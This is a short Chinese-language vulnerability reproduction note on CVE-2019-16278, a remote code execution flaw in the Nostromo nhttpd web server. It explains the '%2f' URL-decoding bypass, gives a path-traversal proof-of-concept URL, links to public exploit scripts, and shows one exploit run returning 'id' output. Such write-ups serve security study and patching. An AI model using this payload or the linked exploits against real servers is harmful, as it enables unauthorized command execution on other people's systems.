[漏洞復現]：CVE-2019-16278 Nostromo web server RCE

漏洞描述

Nostromo web server(nhttpd)是一個開源的web服務器，在Unix系統非常流行。

漏洞原因是web服務在對URL進行檢查是在URL被解碼前，攻擊者可以將/轉換為%2f就可繞過檢查，之前出現過類似漏洞CVE-2011-0751，POC如下：

http://www.example.org/..%2flogs/access_log

利用前提

Nostromo version <= 1.9.6

漏洞復現

Python POC：https://github.com/sudohyak/exploit/blob/master/CVE-2019-16278/exploit.py

mark@mark-Pc:~/nhttpd-exploits$ ./CVE-2019-16278.sh 127.0.0.1 80 id
uid=1000(mark) gid=1000(mark) groups=1000(mark),0(root)

EXP: https://git.sp0re.sh/sp0re/Nhttpd-exploits

參考

https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html?utm_source=webcode.ca&utm_medium=web&utm_campaign=twitter
https://nosec.org/home/detail/3074.html